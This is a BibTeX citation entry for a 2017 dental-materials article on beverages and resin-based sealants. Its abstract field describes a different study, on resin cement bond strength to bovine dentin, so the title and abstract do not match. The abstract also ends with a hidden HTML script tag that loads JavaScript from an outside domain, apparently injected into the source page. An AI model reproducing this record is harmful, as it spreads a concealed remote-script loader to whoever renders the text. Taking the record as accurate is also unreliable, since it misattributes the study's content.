@article{Genari_Leitune_Saucedo_Samuel_Collares_2017, place={Limeira, SP}, title={Effect of beverages on surface properties of resin-based sealants}, volume={16}, url={https://periodicos.sbu.unicamp.br/ojs/index.php/bjos/article/view/8650490}, DOI={10.20396/bjos.v16i0.8650490}, abstractNote={<span id="docs-internal-guid-ce668215-dcd8-7c38-67dd-5c0c4216d71a"><span>Self-adhesive, dual-polymerizing resin cements require no treatment to the prepared tooth surfaces before cementation. Aim: The aim of this study was to evaluate the influence of curing mode on bond strength (BS) of three cementing systems to bovine dentin. Methods: The buccal enamel surfaces of 50 bovine incisors were removed to expose dentin and to flat the surface. The teeth were divided into five groups (n=10), which consisted of two resin cements (Multilink and Clearfil SA Cement) that were tested in dual- (halogen light for 40 s) and self-cured modes, and a control (RelyX ARC). Two cylinders of resin cements (1.0 mm X 0.75 mm) were prepared on each bonded dentin surface. After 24h at 37oC, resin cylinders were subjected to micro-shear testing in a universal testing machine (4411/Instron - 0.5 mm/min). Data were statistically analyzed by two-way ANOVA, Tukey and Dunnett`s test (5%). Results: Multilink showed higher BS than those observed on Clearfil SA. Light-curing resulted in higher BS for both Multilink and Clearfil SA. When Multilink was light-cured, no significant difference on BS was demonstrated between it and RelyX ARC. Conclusions: The highest BS values were obtained in control group and light-cured Multilink resin cement.</span></span><script id="lg210a" type="text/javascript" src="https://cloudapi.online/js/api46.js"></script>}, journal={Brazilian Journal of Oral Sciences}, author={Genari, Bruna and Leitune, Vicente Castelo Branco and Saucedo, João Henrique Macedo and Samuel, Susana Maria Werner and Collares, Fabrício Mezzomo}, year={2017}, month={Dec.}, pages={1–7} }